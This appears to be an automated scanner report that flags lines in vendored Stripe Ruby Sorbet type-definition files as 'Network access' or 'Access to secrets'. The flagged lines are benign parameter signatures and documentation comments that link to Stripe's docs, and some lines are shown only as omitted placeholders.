    sig { params(_amount_to_capture: T.nilable(Integer)).returns(T.nilable(Integer)) }     def amount_to_capture=(_amount_to_capture); end     # The amount of the application fee (if any) that will be requested to be applied to the payment and 
  • Network accessline 338
    def amount_to_capture=(_amount_to_capture); end     # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fe
  • Network accessline 339
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 347
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Defaults to `true`. When capturing a PaymentIntent, setting `final_capture` to `false` notifies Stripe to not rele
  • Network accessline 348
    def expand=(_expand); end     # Defaults to `true`. When capturing a PaymentIntent, setting `final_capture` to `false` notifies Stripe to not release the remaining uncaptured funds to make sure that they're captured in future requests. You 
  • Network accessline 349
    # Defaults to `true`. When capturing a PaymentIntent, setting `final_capture` to `false` notifies Stripe to not release the remaining uncaptured funds to make sure that they're captured in future requests. You can only use this setting when
  • Network accessline 359
    }     def hooks=(_hooks); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k
  • Network accessline 360
    def hooks=(_hooks); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca
  • Network accessline 361
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 373
    }     def payment_details=(_payment_details); end     # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about 
  • Network accessline 374
    def payment_details=(_payment_details); end     # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requir
  • Network accessline 375
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 376
    #     # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.     sig { returns(T.nilable(String)) 
  • Network accessline 377
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 380
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }     def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descripto
  • Network accessline 381
    def statement_descriptor=(_statement_descriptor); end     # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f
  • Network accessline 382
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 386
    def statement_descriptor_suffix=(_statement_descriptor_suffix); end     # The parameters that you can use to automatically create a transfer after the payment     # is captured. Learn more about the [use case for connected accounts](https:/
  • Network accessline 387
    # The parameters that you can use to automatically create a transfer after the payment     # is captured. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).     sig { returns(T.nilab
  • Network accessline 388
    # is captured. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_confirm_params.rbi

  • Network accessline 120
    end         class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate
  • Network accessline 121
    class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq
  • Network accessline 122
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 130
    def initialize(total_tax_amount: nil); end         end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 131
    end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.         #
  • Network accessline 132
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 170
    }         def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 171
    def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.         sig { returns(I
  • Network accessline 172
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 195
    end       class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or 
  • Network accessline 196
    class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0
  • Network accessline 197
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 218
    end       class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than 
  • Network accessline 219
    class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t
  • Network accessline 220
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 228
    def initialize(total_tax_amount: nil); end       end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 229
    end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.       #
  • Network accessline 230
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 268
    class Inputs < ::Stripe::RequestParams         class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 269
    class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id           sig { returns(String) }
  • Network accessline 270
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 442
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 443
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 444
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 462
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 463
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 464
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 690
    class Promptpay < ::Stripe::RequestParams; end       class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra
  • Network accessline 691
    class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. 
  • Network accessline 692
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 961
    }       def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 962
    def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 963
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1059
    }       def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 1060
    def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.       sig { returns(T.nilable(PaymentIntentConfirmParams::PaymentMethodData::RadarOpt
  • Network accessline 1061
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 1208
    [Credential-related source omitted]
  • Access to secretsline 1209
    [Credential-related source omitted]
  • Network accessline 1803
    # Installment configuration for payments attempted on this PaymentIntent.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1804
    #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).         sig {
  • Network accessline 1805
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1833
    sig { params(_network: T.nilable(String)).returns(T.nilable(String)) }         def network=(_network); end         # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-au
  • Network accessline 1834
    def network=(_network); end         # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1835
    # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.
  • Network accessline 1840
    [Credential-related source omitted]
  • Network accessline 1841
    [Credential-related source omitted]
  • Network accessline 1842
    # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.
  • Network accessline 1847
    [Credential-related source omitted]
  • Network accessline 1848
    [Credential-related source omitted]
  • Network accessline 1849
    # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.
  • Network accessline 1852
    sig { params(_request_multicapture: T.nilable(String)).returns(T.nilable(String)) }         def request_multicapture=(_request_multicapture); end         # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for t
  • Network accessline 1853
    def request_multicapture=(_request_multicapture); end         # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1854
    # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.
  • Network accessline 1857
    sig { params(_request_overcapture: T.nilable(String)).returns(T.nilable(String)) }         def request_overcapture=(_request_overcapture); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your cust
  • Network accessline 1858
    def request_overcapture=(_request_overcapture); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c
  • Network accessline 1859
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1949
    sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) }         def capture_method=(_capture_method); end         # Request ability to capture this payment beyond the standard [authorization validity window](https://do
  • Network accessline 1950
    def capture_method=(_capture_method); end         # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)       
  • Network accessline 1951
    # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)
  • Network accessline 1956
    [Credential-related source omitted]
  • Network accessline 1957
    [Credential-related source omitted]
  • Network accessline 1958
    # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe.
  • Network accessline 2682
    sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) }         def capture_method=(_capture_method); end         # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout p
  • Network accessline 2683
    def capture_method=(_capture_method); end         # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.         sig { returns(T.nilable(String)) }
  • Network accessline 2684
    # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.
  • Network accessline 3738
    end     class RadarOptions < ::Stripe::RequestParams       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your paym
  • Network accessline 3739
    class RadarOptions < ::Stripe::RequestParams       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.   
  • Network accessline 3740
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 3753
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3754
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 3755
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3773
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 3774
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 3775
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 3841
    [Credential-related source omitted]
  • Network accessline 3842
    [Credential-related source omitted]
  • Network accessline 3843
    # Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. This parameter is intended for simpler integrations that do not handle customer actions, like [saving cards without authentication](https:/
  • Network accessline 3877
    }     def mandate_data=(_mandate_data); end     # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and
  • Network accessline 3878
    def mandate_data=(_mandate_data); end     # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [char
  • Network accessline 3879
    # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them later](https://docs.stripe.com/pay
  • Network accessline 3891
    }     def payment_details=(_payment_details); end     # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentI
  • Network accessline 3892
    def payment_details=(_payment_details); end     # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent.
  • Network accessline 3893
    # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent.
  • Network accessline 3894
    # If the payment method is attached to a Customer, it must match the [customer](https://api.stripe.com#create_payment_intent-customer) that is set on this PaymentIntent.
  • Network accessline 3898
    def payment_method=(_payment_method); end     # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear     # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent
  • Network accessline 3899
    # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear     # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)     # property on the 
  • Network accessline 3900
    # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)
  • Network accessline 3913
    }     def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, a card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboa
  • Network accessline 3914
    def payment_method_options=(_payment_method_options); end     # The list of payment method types (for example, a card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](ht
  • Network accessline 3915
    # The list of payment method types (for example, a card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). A list o
  • Network accessline 3920
    }     def payment_method_types=(_payment_method_types); end     # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session).
  • Network accessline 3921
    def payment_method_types=(_payment_method_types); end     # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session).     sig { returns(T.nilable(PaymentIntentConfirmParams::RadarOptions)) }
  • Network accessline 3922
    # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session).
  • Network accessline 3927
    }     def radar_options=(_radar_options); end     # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email setti
  • Network accessline 3928
    def radar_options=(_radar_options); end     # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](h
  • Network accessline 3929
    # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_create_params.rbi

  • Network accessline 120
    end         class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate
  • Network accessline 121
    class Tax < ::Stripe::RequestParams           # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq
  • Network accessline 122
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 130
    def initialize(total_tax_amount: nil); end         end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 131
    end         # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.         #
  • Network accessline 132
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 170
    }         def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 171
    def tax=(_tax); end         # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.         sig { returns(I
  • Network accessline 172
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 195
    end       class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or 
  • Network accessline 196
    class Shipping < ::Stripe::RequestParams         # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0
  • Network accessline 197
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 218
    end       class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than 
  • Network accessline 219
    class Tax < ::Stripe::RequestParams         # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t
  • Network accessline 220
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 228
    def initialize(total_tax_amount: nil); end       end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 229
    end       # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.       #
  • Network accessline 230
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 268
    # Controls whether this PaymentIntent will accept redirect-based payment methods.       #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional s
  • Network accessline 269
    #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentInte
  • Network accessline 270
    # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentIntent, you 
  • Network accessline 284
    class Inputs < ::Stripe::RequestParams         class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 285
    class Tax < ::Stripe::RequestParams           # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id           sig { returns(String) }
  • Network accessline 286
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 458
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 459
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 460
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 478
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 479
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 480
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 706
    class Promptpay < ::Stripe::RequestParams; end       class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra
  • Network accessline 707
    class RadarOptions < ::Stripe::RequestParams         # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. 
  • Network accessline 708
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 977
    }       def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 978
    def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 979
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1075
    }       def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 1076
    def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.       sig { returns(T.nilable(PaymentIntentCreateParams::PaymentMethodData::RadarOpti
  • Network accessline 1077
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 1224
    [Credential-related source omitted]
  • Access to secretsline 1225
    [Credential-related source omitted]
  • Network accessline 1819
    # Installment configuration for payments attempted on this PaymentIntent.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1820
    #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).         sig {
  • Network accessline 1821
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1849
    sig { params(_network: T.nilable(String)).returns(T.nilable(String)) }         def network=(_network); end         # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-au
  • Network accessline 1850
    def network=(_network); end         # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1851
    # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.
  • Network accessline 1856
    [Credential-related source omitted]
  • Network accessline 1857
    [Credential-related source omitted]
  • Network accessline 1858
    # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.
  • Network accessline 1863
    [Credential-related source omitted]
  • Network accessline 1864
    [Credential-related source omitted]
  • Network accessline 1865
    # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.
  • Network accessline 1868
    sig { params(_request_multicapture: T.nilable(String)).returns(T.nilable(String)) }         def request_multicapture=(_request_multicapture); end         # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for t
  • Network accessline 1869
    def request_multicapture=(_request_multicapture); end         # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.         sig { returns(T.nilable(String)) }
  • Network accessline 1870
    # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.
  • Network accessline 1873
    sig { params(_request_overcapture: T.nilable(String)).returns(T.nilable(String)) }         def request_overcapture=(_request_overcapture); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your cust
  • Network accessline 1874
    def request_overcapture=(_request_overcapture); end         # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c
  • Network accessline 1875
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1965
    sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) }         def capture_method=(_capture_method); end         # Request ability to capture this payment beyond the standard [authorization validity window](https://do
  • Network accessline 1966
    def capture_method=(_capture_method); end         # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)       
  • Network accessline 1967
    # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)
  • Network accessline 1972
    [Credential-related source omitted]
  • Network accessline 1973
    [Credential-related source omitted]
  • Network accessline 1974
    # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe.
  • Network accessline 2698
    sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) }         def capture_method=(_capture_method); end         # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout p
  • Network accessline 2699
    def capture_method=(_capture_method); end         # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.         sig { returns(T.nilable(String)) }
  • Network accessline 2700
    # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.
  • Network accessline 3754
    end     class RadarOptions < ::Stripe::RequestParams       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your paym
  • Network accessline 3755
    class RadarOptions < ::Stripe::RequestParams       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.   
  • Network accessline 3756
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 3769
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3770
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
